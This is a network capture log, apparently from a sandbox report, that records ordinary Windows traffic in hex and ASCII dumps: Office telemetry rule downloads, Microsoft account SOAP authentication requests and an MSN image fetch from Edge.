2024-11-25 17:29:00 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-178bfbc474bnwsh4hC1NYC2ubs00000007vg00000000b828 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-174c587ffdf6b487hC1TEBydsn000000065g00000000eq6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:00 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2727b5de-901e-005b-4cc1-3e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-178bfbc474bv587zhC1NYCny5w00000007m000000000nc5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49923	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:00 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:29:00 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:29:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:28:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: e5d533d6-ceb7-4a26-ad0b-bc65fe2625c0 PPServer: PPV: 30 H: PH1PEPF0001B6C7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:29:00 GMT Connection: close Content-Length: 11409
2024-11-25 17:29:01 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172901Z-15b8b599d886w4hzhC1TEBb4ug00000006cg000000002bsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49924	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:29:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:29:01 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:28:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: e25d6238-6184-468b-9b7c-cfac61aece3b PPServer: PPV: 30 H: PH1PEPF00011E6F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:29:00 GMT Connection: close Content-Length: 11409
2024-11-25 17:29:01 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49926	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:01 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:29:01 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=341758 Expires: Fri, 29 Nov 2024 16:24:59 GMT Date: Mon, 25 Nov 2024 17:29:01 GMT Connection: close
2024-11-25 17:29:01 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-15b8b599d88tmlzshC1TEB4xpn000000064g00000000csu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-174c587ffdfb74xqhC1TEBhabc000000067000000000h8v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:02 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:02 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 07e1e155-901e-0029-69bf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172902Z-178bfbc474btrnf9hC1NYCb80g00000007z00000000091g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
